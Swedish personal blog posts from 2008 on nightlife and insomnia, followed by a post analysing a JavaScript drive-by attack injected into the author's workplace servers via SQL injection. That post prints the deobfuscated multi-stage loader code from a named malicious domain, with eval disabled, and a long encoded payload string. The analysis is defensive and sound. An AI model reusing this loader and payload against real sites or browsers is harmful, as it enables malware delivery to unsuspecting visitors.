fredag 27 juni 2008
mmhmm
Relativt nyhemkommen efter en oväntad kväll ute på stan, "övertid" på jobbet och sen inbjudan till att öla hemma hos en tjejkompis från förr, trevlig kväll trots allt, tog ett par öl, ett halvt tjog shots och sedan ut på krogen med helt okända människor bara "för att".. helt klart en trevlig kväll, finns blott en sak som hade kunnat göra det bättre, sak är väl inte rätt heller, en person kanske? :D nu blir det nog sängen trots allt.. kontenta av kvällen.. trevligt :D
torsdag 26 juni 2008
Sömnlös i Bagarmossen
Ytterligare en natt med sömnproblem utöver det normala. efter ett antal timmars försök att sova, sitter jag här igen och är till och såpass störd över situationen att jag skriver ett blogginlägg om det.
Sömnproblemen kommer och går med vad som hittils verkar vara veckolånga mellanrum, vissa veckor kan jag sova, andra veckor är det helt hopplöst, nyligen inhandlat en ny säng i hopp om att det skulle förändra situationen, det fungerade... en natt. Så nu sitter jag här igen 5 nätter senare och har fått en god natts sömn.
Igår blev det runt 2.5-3 timmars sömn, visserligen fanns det andra omständigheter som hindrade sömn, trevliga omständigheter, men nu är problemen tillbaka, jag funderar på att söka läkarhjälp med detta dock har jag ingen aning om hur jag skall gå tillväga med detta. förslag är välkomna(av de.. ehm.. 2(?) som läser min blogg).
För mycket som snurrar i huvudet just nu, alldeles för många faktorer som är utom min kontroll som resulterar i att min hjärna arbetar på högvarv runt 18 timmar om dygnet, 6-7 timmar arbetar den inte alls, och resterande tid får jag sova(detta är baserat på genomsnittlig sömn per vecka).
"Idag" hade jag semester, var trevligare än väntat, besök på skansen med sällskap + lånad 3åring för sightseeing, glassätande samt karusellande, karusellandet fick ett abrupt slut när sällskapet uppenbarligen hade finmotoriska svårigheter efter några vändor i barnkarusellerna. Favoritdjuren för 3åringen var helt klart Lemurerna, detta är baserat på oupphärligt repeterande av frasen "Jag vill se lemurerna" hela vägen till just lemurerna, samt att tiden spenderad vid just lemurerna var säkert 4 gånger så lång som tiden spenderad vid något annat djur(i siffror betyder detta 2 minuter).
Glassätandet bjöd också på ett par extra komiska poäng när 3åringen
ifrågasatte varför sällskapet inte bet i sin calippo-glass, ej eftertänkt svar blev "För man får inte bita i den".
En sidnot för övriga människor som planerar besök på Skansen med 3åring, när djuren inte syns till inom de första 2 sekunder fungerar standardsvaret "De sover middag" ypperligt.
För tillfället funderar jag på om jag ska äta något eller inte, jag tvekar på att jag får någon sömn inatt ändå så det kanske är lika bra.
/Dari
Sömnproblemen kommer och går med vad som hittils verkar vara veckolånga mellanrum, vissa veckor kan jag sova, andra veckor är det helt hopplöst, nyligen inhandlat en ny säng i hopp om att det skulle förändra situationen, det fungerade... en natt. Så nu sitter jag här igen 5 nätter senare och har fått en god natts sömn.
Igår blev det runt 2.5-3 timmars sömn, visserligen fanns det andra omständigheter som hindrade sömn, trevliga omständigheter, men nu är problemen tillbaka, jag funderar på att söka läkarhjälp med detta dock har jag ingen aning om hur jag skall gå tillväga med detta. förslag är välkomna(av de.. ehm.. 2(?) som läser min blogg).
För mycket som snurrar i huvudet just nu, alldeles för många faktorer som är utom min kontroll som resulterar i att min hjärna arbetar på högvarv runt 18 timmar om dygnet, 6-7 timmar arbetar den inte alls, och resterande tid får jag sova(detta är baserat på genomsnittlig sömn per vecka).
"Idag" hade jag semester, var trevligare än väntat, besök på skansen med sällskap + lånad 3åring för sightseeing, glassätande samt karusellande, karusellandet fick ett abrupt slut när sällskapet uppenbarligen hade finmotoriska svårigheter efter några vändor i barnkarusellerna. Favoritdjuren för 3åringen var helt klart Lemurerna, detta är baserat på oupphärligt repeterande av frasen "Jag vill se lemurerna" hela vägen till just lemurerna, samt att tiden spenderad vid just lemurerna var säkert 4 gånger så lång som tiden spenderad vid något annat djur(i siffror betyder detta 2 minuter).
Glassätandet bjöd också på ett par extra komiska poäng när 3åringen
ifrågasatte varför sällskapet inte bet i sin calippo-glass, ej eftertänkt svar blev "För man får inte bita i den".
En sidnot för övriga människor som planerar besök på Skansen med 3åring, när djuren inte syns till inom de första 2 sekunder fungerar standardsvaret "De sover middag" ypperligt.
För tillfället funderar jag på om jag ska äta något eller inte, jag tvekar på att jag får någon sömn inatt ändå så det kanske är lika bra.
/Dari
fredag 13 juni 2008
Kaos på jobbet, http://www.advabnr.com/ deobfuscated.
Det är alltid lika härligt när man kommer till kontoret efter ett par dagars sjukfrånvaro och upptäcker att några kineser har varit elaka och lekt SQL-Injection på servrarna, efter ett par vändors letande och pillandes dök det upp javascriptsfiler tex. http://www.advabnr.com/b.js (jag rekommenderar inte att den som läser detta inlägg klickar på några länkar som serveras i detta blogg-inlägg)
Denna JS-fil refererar till http://advabnr.com/cgi-bin/index.cgi?ad (stage1) vilket i sig är ytterligare ett javascript fullt med obfuscated kod, en stund senare och en del reserverande så visar det sig att stage1 kort och gott genererade ytterligare en bit obfuscated kod (stage2) vilket dock gick fortare att läsa ut.
Det som följer är min temp-fil som användes vid de-obfuscating av filerna i sig, stage1 och stage2 finns båda med i filen och det är relativt lätt för den som är "insatt" att följa vad som händer, 'farlig' kod är borttagen och filen i sig är harmlös, det enda som görs är en console.log av det som skapas i scriptet.
(Kod som följer är html-safe och utan text-indent)
Nedan följer det som genereras av dessa 2 obfuscated steg.
Scriptet i sig som synes söker igenom tillgängliga plugins för din browser (quicktime, acrobat, flash) och tyvärr är detta så långt som jag kommer, urlen som serveras i slutet returnerar hittils efter mina försök endast en fake-500 sida vilket den verkar göra så länge den inte får de variablar den är ute efter, så vitt jag/vi på kontoret kan se så verkar siten i sig servera färdiga exploits för de plugins som den hittar möjliga hål i. för att undvika att detta händer kan jag inte föreslå annat än att se till att uppgradera de plugins man använder, om någon annan kommer vidare med detta får ni gärna höra av er till mig.
(Koden är åter igen html-safe och utan text-indent)
/Dari
Denna JS-fil refererar till http://advabnr.com/cgi-bin/index.cgi?ad (stage1) vilket i sig är ytterligare ett javascript fullt med obfuscated kod, en stund senare och en del reserverande så visar det sig att stage1 kort och gott genererade ytterligare en bit obfuscated kod (stage2) vilket dock gick fortare att läsa ut.
Det som följer är min temp-fil som användes vid de-obfuscating av filerna i sig, stage1 och stage2 finns båda med i filen och det är relativt lätt för den som är "insatt" att följa vad som händer, 'farlig' kod är borttagen och filen i sig är harmlös, det enda som görs är en console.log av det som skapas i scriptet.
(Kod som följer är html-safe och utan text-indent)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>
</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/javascript">
<!--
var hashkey = "function Vx0IAH138(I7M8YgayI, G38g3p7iO){var X25ks5E5u = 4294967296;var GpRRpt2uv = arguments.callee;GpRRpt2uv = GpRRpt2uv.toString();GpRRpt2uv = GpRRpt2uv + location.href;var nQ412XaP8 = eval;var XP4WWej4F = GpRRpt2uv.replace(/\W/g, \"\");XP4WWej4F = XP4WWej4F.toUpperCase();var VflJFmoSM = new Array;for(var qOFI57SQB = 0; qOFI57SQB < 256; qOFI57SQB++) {VflJFmoSM[qOFI57SQB] = 0;}var ohD16ibkU = 1;for(var qOFI57SQB = 128; qOFI57SQB; qOFI57SQB >>= 1) {ohD16ibkU = ohD16ibkU >>> 1 ^ (ohD16ibkU & 1 ? 3988292384 : 0);for(var tucbfU06P = 0; tucbfU06P < 256; tucbfU06P += qOFI57SQB * 2) {var s8gXebs60 = qOFI57SQB + tucbfU06P;VflJFmoSM[s8gXebs60] = VflJFmoSM[tucbfU06P] ^ ohD16ibkU;if (VflJFmoSM[s8gXebs60] < 0) {VflJFmoSM[s8gXebs60] += X25ks5E5u;}}}var a85pKx3C5 = X25ks5E5u - 1;for(var EB7Im12x0 = 0; EB7Im12x0 < XP4WWej4F.length; EB7Im12x0++) {var q44dw7IBH = (a85pKx3C5 ^ XP4WWej4F.charCodeAt(EB7Im12x0)) & 255;a85pKx3C5 = (a85pKx3C5 >>> 8) ^ VflJFmoSM[q44dw7IBH];}a85pKx3C5 = a85pKx3C5 ^ (X25ks5E5u - 1);if (a85pKx3C5 < 0) {a85pKx3C5 += X25ks5E5u;}a85pKx3C5 = a85pKx3C5.toString(16).toUpperCase();while(a85pKx3C5.length < 8) {a85pKx3C5 = \"0\" + a85pKx3C5;}var kQo6JB5WR = new Array;for(var qOFI57SQB = 0; qOFI57SQB < 8; qOFI57SQB++) {kQo6JB5WR[qOFI57SQB] = a85pKx3C5.charCodeAt(qOFI57SQB);}var BiC0TV1f6 = \"\";var lKjvOh8TW = 0;for(var qOFI57SQB = 0; qOFI57SQB < I7M8YgayI.length; qOFI57SQB += 2){var s8gXebs60 = I7M8YgayI.substr(qOFI57SQB, 2);var OU5aO5F3X = parseInt(s8gXebs60, 16);var An08HVDpW = OU5aO5F3X - kQo6JB5WR[lKjvOh8TW];if(An08HVDpW < 0) {An08HVDpW = An08HVDpW + 256;}BiC0TV1f6 += String.fromCharCode(An08HVDpW);if(lKjvOh8TW + 1 == kQo6JB5WR.length) {lKjvOh8TW = 0;} else {lKjvOh8TW++;}}var KgrV653I7 = 0;try {nQ412XaP8(BiC0TV1f6);} catch(e) {KgrV653I7 = 1;}try {if (KgrV653I7) {window.location = \"/\";}} catch(e) {}}";
var hashkey2 = "function gN73Os7rj(ox7QTs8Gt, ag6yPdJEC){var TW6EE2JE0 = 4294967296; var N3fJvS3EU = arguments.callee;N3fJvS3EU = N3fJvS3EU.toString();N3fJvS3EU = N3fJvS3EU + location.href;var Y0Y266h6o = eval;var rPvK1n6y8 = N3fJvS3EU.replace(/\W/g, \"\");rPvK1n6y8 = rPvK1n6y8.toUpperCase();var kd34hv8lb = new Array;for(var I47PSww6v = 0; I47PSww6v < 256; I47PSww6v++) {kd34hv8lb[I47PSww6v] = 0;}var I0Y3LC81s = 1;for(var I47PSww6v = 128; I47PSww6v; I47PSww6v >>= 1) {I0Y3LC81s = I0Y3LC81s >>> 1 ^ (I0Y3LC81s & 1 ? 3988292384 : 0);for(var nLFFcAHJl = 0; nLFFcAHJl < 256; nLFFcAHJl += I47PSww6v * 2) {var kD052e50w = I47PSww6v + nLFFcAHJl;kd34hv8lb[kD052e50w] = kd34hv8lb[nLFFcAHJl] ^ I0Y3LC81s;if (kd34hv8lb[kD052e50w] < 0) {kd34hv8lb[kD052e50w] += TW6EE2JE0;}}}var NGOlENwso = TW6EE2JE0 - 1;for(var d8O0bR2KA = 0; d8O0bR2KA < rPvK1n6y8.length; d8O0bR2KA++) {var g3gDRk0FD = (NGOlENwso ^ rPvK1n6y8.charCodeAt(d8O0bR2KA)) & 255;NGOlENwso = (NGOlENwso >>> 8) ^ kd34hv8lb[g3gDRk0FD];}NGOlENwso = NGOlENwso ^ (TW6EE2JE0 - 1);if (NGOlENwso < 0) {NGOlENwso += TW6EE2JE0;}NGOlENwso = NGOlENwso.toString(16).toUpperCase();while(NGOlENwso.length < 8) {NGOlENwso = \"0\" + NGOlENwso;}var B51cE2gJG = new Array;for(var I47PSww6v = 0; I47PSww6v < 8; I47PSww6v++) {B51cE2gJG[I47PSww6v] = NGOlENwso.charCodeAt(I47PSww6v);}var F60UrJ4CE = \"\";var xVNicY002 = 0;for(var I47PSww6v = 0; I47PSww6v < ox7QTs8Gt.length; I47PSww6v += 2){var kD052e50w = ox7QTs8Gt.substr(I47PSww6v, 2);var P72IU0651 = parseInt(kD052e50w, 16);var Khs56S3Hb = P72IU0651 - B51cE2gJG[xVNicY002];if(Khs56S3Hb < 0) {Khs56S3Hb = Khs56S3Hb + 256;}F60UrJ4CE += String.fromCharCode(Khs56S3Hb);if(xVNicY002 + 1 == B51cE2gJG.length) {xVNicY002 = 0;} else {xVNicY002++;}}var sJ7rjoWYl = 0;try {Y0Y266h6o(F60UrJ4CE);} catch(e) {sJ7rjoWYl = 1;}try {if (sJ7rjoWYl) {window.location = \"/\";}} catch(e) {}}";
function gN73Os7rj(ox7QTs8Gt, ag6yPdJEC){var TW6EE2JE0 = 4294967296; var N3fJvS3EU = hashkey2;N3fJvS3EU = N3fJvS3EU.toString();N3fJvS3EU = N3fJvS3EU + "http://advabnr.com/cgi-bin/index.cgi?ad";var Y0Y266h6o = eval;var rPvK1n6y8 = N3fJvS3EU.replace(/\W/g, "");rPvK1n6y8 = rPvK1n6y8.toUpperCase();var kd34hv8lb = new Array;for(var I47PSww6v = 0; I47PSww6v < 256; I47PSww6v++) {kd34hv8lb[I47PSww6v] = 0;}var I0Y3LC81s = 1;for(var I47PSww6v = 128; I47PSww6v; I47PSww6v >>= 1) {I0Y3LC81s = I0Y3LC81s >>> 1 ^ (I0Y3LC81s & 1 ? 3988292384 : 0);for(var nLFFcAHJl = 0; nLFFcAHJl < 256; nLFFcAHJl += I47PSww6v * 2) {var kD052e50w = I47PSww6v + nLFFcAHJl;kd34hv8lb[kD052e50w] = kd34hv8lb[nLFFcAHJl] ^ I0Y3LC81s;if (kd34hv8lb[kD052e50w] < 0) {kd34hv8lb[kD052e50w] += TW6EE2JE0;}}}var NGOlENwso = TW6EE2JE0 - 1;for(var d8O0bR2KA = 0; d8O0bR2KA < rPvK1n6y8.length; d8O0bR2KA++) {var g3gDRk0FD = (NGOlENwso ^ rPvK1n6y8.charCodeAt(d8O0bR2KA)) & 255;NGOlENwso = (NGOlENwso >>> 8) ^ kd34hv8lb[g3gDRk0FD];}NGOlENwso = NGOlENwso ^ (TW6EE2JE0 - 1);if (NGOlENwso < 0) {NGOlENwso += TW6EE2JE0;}NGOlENwso = NGOlENwso.toString(16).toUpperCase();while(NGOlENwso.length < 8) {NGOlENwso = "0" + NGOlENwso;}var B51cE2gJG = new Array;for(var I47PSww6v = 0; I47PSww6v < 8; I47PSww6v++) {B51cE2gJG[I47PSww6v] = NGOlENwso.charCodeAt(I47PSww6v);}var F60UrJ4CE = "";var xVNicY002 = 0;for(var I47PSww6v = 0; I47PSww6v < ox7QTs8Gt.length; I47PSww6v += 2){var kD052e50w = ox7QTs8Gt.substr(I47PSww6v, 2);var P72IU0651 = parseInt(kD052e50w, 16);var Khs56S3Hb = P72IU0651 - B51cE2gJG[xVNicY002];if(Khs56S3Hb < 0) {Khs56S3Hb = Khs56S3Hb + 256;}F60UrJ4CE += String.fromCharCode(Khs56S3Hb);if(xVNicY002 + 1 == B51cE2gJG.length) {xVNicY002 = 0;} else {xVNicY002++;}} var sJ7rjoWYl = 0;console.log(F60UrJ4CE); try {Y0Y266h6o(F60UrJ4CE);} catch(e) {sJ7rjoWYl = 1;}try {if (sJ7rjoWYl) {window.location = "/";}} catch(e) {}}
function Vx0IAH138(var1, var2)
{
var hash = 4294967296;
var GpRRpt2uv = hashkey;
GpRRpt2uv = GpRRpt2uv.toString();
GpRRpt2uv = GpRRpt2uv + "http://advabnr.com/cgi-bin/index.cgi?ad"; //location.href;
var nQ412XaP8 = eval;
var XP4WWej4F = GpRRpt2uv.replace(/\W/g, "");
XP4WWej4F = XP4WWej4F.toUpperCase();
var VflJFmoSM = new Array;
for(
var qOFI57SQB = 0; qOFI57SQB < 256; qOFI57SQB++)
{
VflJFmoSM[qOFI57SQB] = 0;
}
var ohD16ibkU = 1;
for(var qOFI57SQB = 128; qOFI57SQB; qOFI57SQB >>= 1)
{
ohD16ibkU = ohD16ibkU >>> 1 ^
(ohD16ibkU & 1 ? 3988292384 : 0);
for(
var tucbfU06P = 0; tucbfU06P < 256; tucbfU06P += qOFI57SQB * 2)
{
var s8gXebs60 = qOFI57SQB + tucbfU06P;VflJFmoSM[s8gXebs60] = VflJFmoSM[tucbfU06P] ^ ohD16ibkU;
if (VflJFmoSM[s8gXebs60] < 0) {VflJFmoSM[s8gXebs60] += hash;}
}
}
var a85pKx3C5 = hash - 1;
for(
var EB7Im12x0 = 0; EB7Im12x0 < XP4WWej4F.length; EB7Im12x0++)
{
var q44dw7IBH = (a85pKx3C5 ^ XP4WWej4F.charCodeAt(EB7Im12x0)) & 255;
a85pKx3C5 = (a85pKx3C5 >>> 8) ^ VflJFmoSM[q44dw7IBH];
}
a85pKx3C5 = a85pKx3C5 ^ (hash - 1);
if (a85pKx3C5 < 0) {
a85pKx3C5 += hash;
}
a85pKx3C5 = a85pKx3C5.toString(16).toUpperCase();
while(a85pKx3C5.length < 8)
{
a85pKx3C5 = "0" + a85pKx3C5;
}
var kQo6JB5WR = new Array;
for(
var qOFI57SQB = 0; qOFI57SQB < 8; qOFI57SQB++)
{
kQo6JB5WR[qOFI57SQB] = a85pKx3C5.charCodeAt(qOFI57SQB);
}
var BiC0TV1f6 = "";
var lKjvOh8TW = 0;
for(var qOFI57SQB = 0; qOFI57SQB < var1.length; qOFI57SQB += 2)
{
var s8gXebs60 = var1.substr(qOFI57SQB, 2);
var OU5aO5F3X = parseInt(s8gXebs60, 16);
var An08HVDpW = OU5aO5F3X - kQo6JB5WR[lKjvOh8TW];
if(An08HVDpW < 0)
{
An08HVDpW = An08HVDpW + 256;
}
BiC0TV1f6 += String.fromCharCode(An08HVDpW);
if(lKjvOh8TW + 1 == kQo6JB5WR.length)
{
lKjvOh8TW = 0;
} else {
lKjvOh8TW++;
}
}
console.log(BiC0TV1f6);
var KgrV653I7 = 0;
try {
//nQ412XaP8(BiC0TV1f6); <- Eval
}
catch(e) {
KgrV653I7 = 1;
}
try {
if (KgrV653I7)
{
//window.location = "/";
}
}
catch(e) {}
}
console.log("New\n");
//Load stage1 <body onload="Vx0IAH138('a8B8a093b5A2a3B462AA80677488a77db4AD5a9FB970859Ab57B79A46D5995AD78BC82948b7e776Fbdb993a2618d8B7C8788647A866954836277646975726A7D747C686Bb79Aa6669076987ab78C678b97636F50A2AB9bbbAFa8a0a4B46797A7aeAF97957C8767ac8cB98563868e5483629165968baf8779879860A4b08CA8b8abB199586a748279a88DA883747E89667f638063A783aa99758887506c59A0B5A5a4a699B0a762aeB4A8986Bb79Aa6669b738B62776F9c7Cb1636F50A6af95B27db993a261ab84bc8d74A066ba715483629165968Baf8779879860A2a6a9a0A7A5a85A5f9D9063AD6e6354526a74A696b88e639E77B26C667F63A480b78465B478BC6A5eb5A889b6B2A8A473A2ac996e6b7EA891b3599FAA75779aa679A596667f63A095B85975B8B4a4ab6Ba7A8A66Eb8a4a4508A6D6B9695BAA966b7597166727E527975708499b9BA68a66175547877796d508a6D6b9695BAA966B7645f6F62be9d94746D9CBC7aAF948b8A6D6b9695baa966B796548362736dadb79aA6668b738B638d7c6C77b5636f5072749ab5b46bA891b3597D7A799385A7b86fAA667F6363627974548F767A8283B8b06abc7d637B64788987BDb979A8507f777166736C52AB8A698d798E866A61B45971668B738b638D7c6C77b563706E7F596566a0635A7971926792857B63a3615F5477628252637A716C787b75656875596E66726C6d96B0ab5CbcA3B5529E8d7F7AA9838B7c9C617654767d63a07c877F97878a8d9E507d59667B787e529E8D7f7aA9838b7c9C616471668B77698094b0AB7cB8635C50736254C1B8a4a450ac7d647b74A86760B85971668B77698094b0AB7cb8635d50AF857A8cA5847a7AAD749faa75779Aa679a596a1AD876265739e6976B9A0526d61A4987976ABA868AD9B8fB48e89789382817eB29f6390508a698d798E866A61B4749DAC626b9D94746D9cbc7aaf948bac7D647B74a86760b896548262735b50bcA4987976abA868AD9B8Fb186736762a66e64BD9F635d6D618d8B7C8788647a86696fC3BFC0a891b359828d91AF777EB8ACA3667F638687777E79788C8862506e596581A8B2a458B79aA666A67B8160a38B669183636f50717454aa7A926292936B7F87627F52a291af7f77b079ab686FA599b4A9b79a6b619D6c9572a584628C7A5F716b63ADA6A2ab54AD75aa7682ac697a8A628052588F8083B28791A9a3B0599266B493A87b72A76ABF7a719598a2AB77B5a6a873A4699D6c9572A584628c7A5D6F62695262766e6F9489929E758fb0a7b5628052588f8083b28791a9A3B059728480636A59619754b1a6766698b771a0a89daa6597858B9F7688878F6bbe877B95AE8880a7b4A854836291797Fad7e82bdb5B2528e6161889d788877628b7E64666f6363597Ca29A666A91797fAD7e82BDb5B2526C61695D66BD91797Fad7E82bdB5B2525b7E59889D788877628B7E6481BF91797fAD7E82bdb5b2526D61877B95ae8880a7B4A862bab196A6A2AAa79B6e73795B5eB5a889B6b2A8a473a2ac996e6b7ea998AAA5996E908A819C8687ABb9B1719e95afa0a8AE627f52686a59af9489929e758fb0a7B562805252715b54716291797Fad7E82bdb5B26Dadb79AA66684786393866B9B9089636F50af9eAB6683B5A491ba749Ab5B46bA891b3597D7a799385A7b86FAA667F63626B6182687D9296a9a777AF5482627b6D508a6D6B9695BAa966B7645f6f62be7465729c7978A98d798b8A6d6b9695baa966B79654836291797fAD7e82bdb5B26093A99aa689b1a79771b5617D7A799385a7B86fAA6F7dC0A891B3597A7c7298A47a757c79667f6354527Caf95B862BB887EAA9c8d767275526D61696FACb1b55aa6a2AB548f767a8283b8b06Abc628052607C597D7A799385a7B86Faa667E63A1a8788A88b97A8Aa65ead9ea2adB6AB6D508a6d6B9695BAA966b7595f8362755babb79aa666ad876265739e6976B9636f50b0B16B9796b66A77B567A7bba4B6a6A26982687d9296a9A777af6066746C6DA6a2ab549679757B85716f6977628052a0a2aba7AB8Bb1a658ac7D647B74A86760B8655477786C6Da6a2ab5491AAB66766946c7ca862805280786b7D9B72796761616654887774957573A07e8d9dbb887eaa9c8d7672758f6BAA9F5c91aab66766946C7CA8627F52606a59af91AAb66766946C7CA86280527ba9AC697c95767A926164547877796Dad876F649bB48d667386595f836296a6a2aaA79b74a8b5a19D84A195b885b2969569849cB977798563899B5D81aba95Aa897879da99b7362626164547762806F50836E65A98775997a8867a0ABb0AAa6986A59AFBE98919b939A696478628052607CB654ABAEB69750BCb18A94ABA68B60716b5f717Dc0AFa6A2ab54b98c7Aa49Ab0908dB2628052607cADA6bf62be8B609A6B6A7caa79a158876f649bB48d667386626FC362a693A4A4A15Cab6B63ada38B70a6B0b19a8B9c617654777Dc0A6a2ba59AFAFa8635aa38b70a6B0B19a8b9c6A59afBDABB1969Fb867A0B5A5a4A699b0a75483626561527cb6B166a5A4A693A961996f62BEafad4bA0827d7592a567B3A35C6d777367607a7B758878766871766e6d7c84759369A2709678A37b9460A2716a767aa67475799a6d787B769361787E6D7C78a66866A29d697876A76696749e957eA3777468766B767B7b7C6965776D6A7A7aA96B717A7E68ab7a736862769B6A7878846A61747F688Ca47C9363826f6978A3a96b60786D6C8A7ba569717A6f6dAA76A66a63766B6Aa979766962767B6A8A777367608271957c847868627A716A7e7b7669917A6D967e79a67363747D6aac78766894776B6b7b78846974756A6789A47c9367826d6a7b84746b67799b6C7A7b786B74776C6D7676866976766D697f7976696676726C7677736673756a67A9847A7468827b6a7bA4A86696749E6788a37c9465a26d6a7b78A574687A6E757a7876949277706D7f7aA76969796D6c787B876A63776B6c76847b696779716ba979A46b66796B6d8C798994607A6E957Ea3a693947A6C967f84759464776B9578a3A994927A7295ABa4749465776b6d8Ba37B74647A72767fa3A5699482726a7D7b7A6b6077726d7B7b766b73767F698A78a66866827D697876876672747d957e83777468766B758c84786B92787b6b7e84876976786D6A7b7A736862a26b6D79a47c73767A72757C847a9461a26F6A76A4769462a27075898386946082706cAA847b6992796F6cAC79A46B62796d6cA9A37369648269757Ca4737367777f678C76876696749b697876a76672747d6da8837c6866769A967b7B7C6965776D6a7A7a896B917a9e6A7b7a736976766d6a787876687376716A7B83879464799d6b7f7a7C9560779B6C7D79747372826b6D7cA37B7475796a95a878A56864796e957d838673697a9d6d7Fa3a693967A72697a78866866766C6c7878766896776E698878769561749f68AC76866672749d957ea3777468766b6c7DA4A69366799E6d7C7a7b9461a2716a7B7a736862826D6D79a47874697A706cab84747466767C6D8984786B7678726C88a4A76992786F6A7684787372826b7677837773657A72698779757362786f6B7aA3a46895769b697f78866876779D697876a76696747E6788768666767A9B95a878766871786f95A8a37a73607a6f6cA783887468766D6B7678766966767b6A7ba4A86696747e678876866676747B767B7b7C6965776D6a7A7A896b717A7e6a7b7A736862786f7588837a73607A6f6CA783889468776b757cA4756b69A26f967da3a674607a7b698779776993769b6c7676A66672747d67A877736760749B68ab76867476756A67a976A66696a29F697876a76676747e67A876A673767a716a7B78A57375789e6b7A7A856B95779a957d83886862786A6a8C78766894776b6b7b78846862767a697E78769460826d6dAB7a846A68827E6a887a7869647A9B7679837A9367a29c6C77a37C6895766D6c7cA37A94617A6F6d7D78766A677a6e967d847593647a6E757C78786896766b6a7C7A736862776a6A7978A66866827d697876876672747D6788A3A79468797b6cA97A7c7473777D6B7a78766a63766b7679a37794687A9D6D7FA3779491826a767d797494628269957d838493968269967e7BA8746777726C7C7A876974796B6D7b7ba76B76776B6d7c837b74697a6E767D8386746282716dA884757464777d697876876696749E678876A666767a7b95a8787668717a9E757A7B866a947871768c79A66A64776B6D88847473717a7096AA7b759368769c697a78766972766D6a8B78766863786a697879736967769b6A7b84886676749E67a876866676747B76777A876a64787C6Ca7798593687a9d6A7b7a736862769B6A78797B6894777D697876876672749D6788A57368667a70767784797367766d6D88A37C6866769a758C84786B72787B6B7E84876996786D6b79838674607A716d7D84856B657A716aaa78786862777A697a78a66866766c6c7878766876776e698878767561749F688C76A66692747D67a8a3A96b60786d6C8a7B8569917A6f6d8a78766a63766b6A8979766968767B6a8A77736760747B68ab76867476766D6d7Da3A994697A706A7Ba3A69368766d69a783877468797B6ca97A7c7473777d6B7a797473768269757fa37b9491796c6d7e78A56868766b6b8978786892766D69797A736866769f6B7c78a66862A29F678c76A76676747B688b76a67375787e6B7a7Aa56B95777a957D83886862786a69787884696677726Aa979A86696747e67a876a66696a29F6a7b837b939582706d7d78769561747f68ac76866672749d678883896B60786D6Caa7bA569717a6f6d8a78766a63766B6aa979766963767B6aaa77736760749b68AB76a67476756a678976866696827F697876876676749e67A876a693967a716a7B78859366779a6C78797a9368A26E6bAB83776862786A6AAC78766894776b6b7b78846862769A697e78767460826d6DAB7A846a68a29E6a887a7869647A9b7679A37a7367827C6c77837c6875766D6D7eA3A594617A706DAAa4A493678271758778766a6882696D79a4797375766D6A8b78766863786a697879736967769B6A7ba4A86676749E678876a666968271957ca4786862827295a8797c9464776F6B8A7b846A74766D6A8c7876689476726C7677736693749D67a876869460a26D6dAB7aa46A68827e6AA87A786866777F6A7BA4749363a29a6Da8A3A49367a26F767a84786960A26D6d8bA47b73747A9B967984796b94a2726A7D7b7a6B6077726D7B7B766b937a6a6a76837a9392826E957eA4787372a26d957c8386946582696c7677736673756a678976866676747b95a884757464767c957e83779468766b768C84796967a29a957b7B73747378706A7B7A736862776d6aaa78769560A26e6ba7a47C9465796A757e7A7b6866777E6A7b83877464797D6b7f7A7C7560777b6c7d797473757A729576A3A474717A9a6c767876747382706A7DA47c7469789f96a87a7B6874767f698878769561749F68AC76866672749d6788A47c9367826d6A7B7A866A647A9d6bA87aA59394797a6D7D78766996766D6D8984786b9678726C8884876992786F6a76837993957a6c967D7A777466767C7589847969728271967e7B7374687872698879886763749C697876876692749d6788768673767A716a7b78A568637A7d757b7b74736779696a8aa4767363A26F757bA37B6A76A269767f78A56A92786f6d887AA66A757a726D8a7b786892769D697884899562766B6a8A7aA66A647A9D6BA87a859394797a6D7D78766996786A69787884696476726a7b787C6868766d957Da4a6697382696b7f79856B69789F6A76a3A97372a2697589847A7371766d6B7678766966767b6aAB78769494756a67a976a66676749b68AB76869467a29d6a7E84746971777a6d897a886862769f6Aac78766a96786D758b7a866a917A9b6CA77B786a61749f68ac76866672747d6788857368667A70967784797367766d6d88837c6866769A96A784866968a26B6a7C79a56B74787d6B79a3a97367a26b6D7fa47a7375766B6C7978766962767D6978A4a86763747C68ab76A66672747D6788A37874687A70757c83886994756A678976a66676747B68aba5736696747e678876866676827F697876A76696747E6788768666968271957c84786862787E6b7B847a7360A29c6B7f79a59368766D6aAC78767472A29b6b8884746966779c6c7f7a886964826e767bA3A99392a27169877884696476726AAB79886676749E67AC76a76696749B68ABa3A69368766D69877A876a69826F6DACa4a76966779C6D7e7B886966799F6A7B79A96862779D698878769561747f68AC76866672749D6788A37a6973796B6b7F83789465779D6D7978766a63766b6A8979a49365769B6A8A77736760749b688b76867476766d6D7d838994697a706A7B83869368766d69877A876a69a26F6dACA4A76966779c6d7e7B886966799f6a7b7a736996766D6aa87876687376716A7B7Aa76A65a2716C89A4a76991777A75887Ba869637A6a69787a736A63766b6B7b78766868767a69787a876a69826F6dac84876966779c6D7E7Ba86968799F6a7B79896862776e6A79797b6866767b6A7ba4A86696749e678876866676747b957f797C6B6277716D7aa47969767a6C6A7B7a736862769b6A7f79796894779D697876A76692749d67a8a5736763749C68ab76867476756A67A977736760749B68aba3A69368766d69A783896b60786d6c8A7ba569917A6f6d8A78766867779F6a7B79766862769A697E7876746679716B7e7976696479696C7C83896866766C6c7878766962766D697e787C68667a6F6B887b7669667a6F757b79a69367766b6a7C7a736862776d698878769561747F688C76866672747d6d7A847873727A6c767679886696747E678876A69563749F688C76A67476756a6789857368667A6E957c847a73657A7C6987a37b6876766B777678769496756a67a977736760826F967d84866862A29F67ac76a766967A7b758878766891A26b6D79847C93967a72757C847a9461a26F6A76847393967A9f95A77B7a9492a26D6D7d84797361766d7688A3a693667A72957779759495767F967884796876827b6dAC847c6868797f6b79837B74607a6E6D7Aa3A973727a6f6d7b838994677a9b6dA8a4746876747f68AC76866692a26B6C7D7b846b68796d6DA979776a94766d6A8c78766894776B6B7C78846994756a6789857368667A6E957C847A93657a7c6987837b6896766B777678769496756A67A977736760A272758A838693957A7269a7A4766b93776e6B7B79786a9579716dab797474627a707679a3A494667a9C697879a96866779A6a8b77736693747d95787B7C6969776B6B7D7aa96b66826969787a73686676726b7B78a46862769f697884766b73776e6b7B79786A7579716D8B79886763747C697876876696747e957eA3779468766b967aA3a97471A29e6B7ba47869687a9e6A7b7a7368627a719577837994927a9F95a784747466776b6D7ba47873727A6C967F837B6a67a2696d7d8473737282697